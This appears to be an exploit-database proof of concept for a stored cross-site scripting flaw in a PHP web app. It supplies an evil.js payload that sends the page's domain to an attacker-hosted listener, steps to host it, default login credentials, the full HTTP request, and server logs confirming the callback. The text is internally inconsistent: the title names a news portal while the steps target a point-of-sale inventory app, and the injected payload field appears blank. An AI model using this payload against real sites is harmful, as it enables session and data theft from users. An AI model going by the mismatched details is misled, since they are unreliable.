# Exploit Title: Online News Portal | Stored XSS + CSRF Example # Exploit Author: Richard Jones # Date: 2021-03-18 # Vendor Homepage: https://www.sourcecodester.com/php/14741/online-news-portal-using-phpmysqli-free-download-source-code.html # Software Link: https://www.sourcecodester.com/download-code?nid=14741&title=Online+News+Portal+using+PHP%2FMySQLi+with+Source+Code+Free+Download # Version: 1.0 # Tested On: Windows 10 Home 19041 (x64_86) + XAMPP 7.2.34 Steps. 1. Create a "evil.js" file with the below contents ---------------------------------------------------------------------------------------- var x = new XMLHttpRequest(); x.open("GET", "//127.0.0.1:8081/?c="+document.domain); x.send(); ---------------------------------------------------------------------------------------- 2. Host the file locally. python3 -m http.server 8081 3. Goto http://127.0.0.1/pos_inv/index.php, login as a supplier (supplier/supplier) 4. Add product .. ---------------------------------------------------------------------------------------- Name: Catagory: Laptops Price: 1 Quantity: 1 Photo: None ---------------------------------------------------------------------------------------- POST /pos_inv/supplier/edit_product.php?id=28 HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------29152014675220535253532605082 Content-Length: 744 Origin: http://127.0.0.1 Connection: close Referer: http://127.0.0.1/pos_inv/supplier/ Cookie: PHPSESSID=cb9r4bs1p4mqmt98nd4o3mtavm Upgrade-Insecure-Requests: 1 -----------------------------29152014675220535253532605082 Content-Disposition: form-data; name="name" -----------------------------29152014675220535253532605082 Content-Disposition: form-data; name="category" 1 -----------------------------29152014675220535253532605082 Content-Disposition: form-data; name="price" 1 -----------------------------29152014675220535253532605082 Content-Disposition: form-data; name="qty" 1 -----------------------------29152014675220535253532605082 Content-Disposition: form-data; name="image"; filename="" Content-Type: application/octet-stream -----------------------------29152014675220535253532605082-- ---------------------------------------------------------------------------------------- 5. Click Update 6. Recieve CSRF #Python server 127.0.0.1 - - [18/Mar/2021 13:59:46] "GET /evil.js HTTP/1.1" 304 - 127.0.0.1 - - [18/Mar/2021 13:59:46] "GET /?c=127.0.0.1 HTTP/1.1" 200 -